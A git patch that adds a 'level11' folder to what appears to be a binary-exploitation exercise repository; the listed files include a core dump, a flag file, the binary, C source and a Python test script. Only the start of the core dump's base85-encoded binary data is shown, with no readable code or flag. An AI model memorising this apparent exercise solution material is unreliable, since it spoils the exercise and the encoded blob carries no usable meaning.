From 71feaaad5a633e0e87788cba35433aeac422f5ae Mon Sep 17 00:00:00 2001 From: Eggert Jung Date: Wed, 28 Jan 2026 12:57:01 +0100 Subject: [PATCH] 11 --- 4/level11/core | Bin 0 -> 249856 bytes 4/level11/flag.txt | 1 + 4/level11/level11 | Bin 0 -> 17680 bytes 4/level11/level11.c | 116 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 4/level11/test | 7 ++++ 4/level11/test.py | 57 ++++++++++++++++++++++++++ 6 files changed, 181 insertions(+) create mode 100644 4/level11/core create mode 100644 4/level11/flag.txt create mode 100755 4/level11/level11 create mode 100644 4/level11/level11.c create mode 100644 4/level11/test create mode 100644 4/level11/test.py diff --git a/4/level11/core b/4/level11/core new file mode 100644 index 0000000000000000000000000000000000000000..6a231696d80e8fe442c09348c549c3013d68dde1 GIT binary patch literal 249856 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

@jM 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 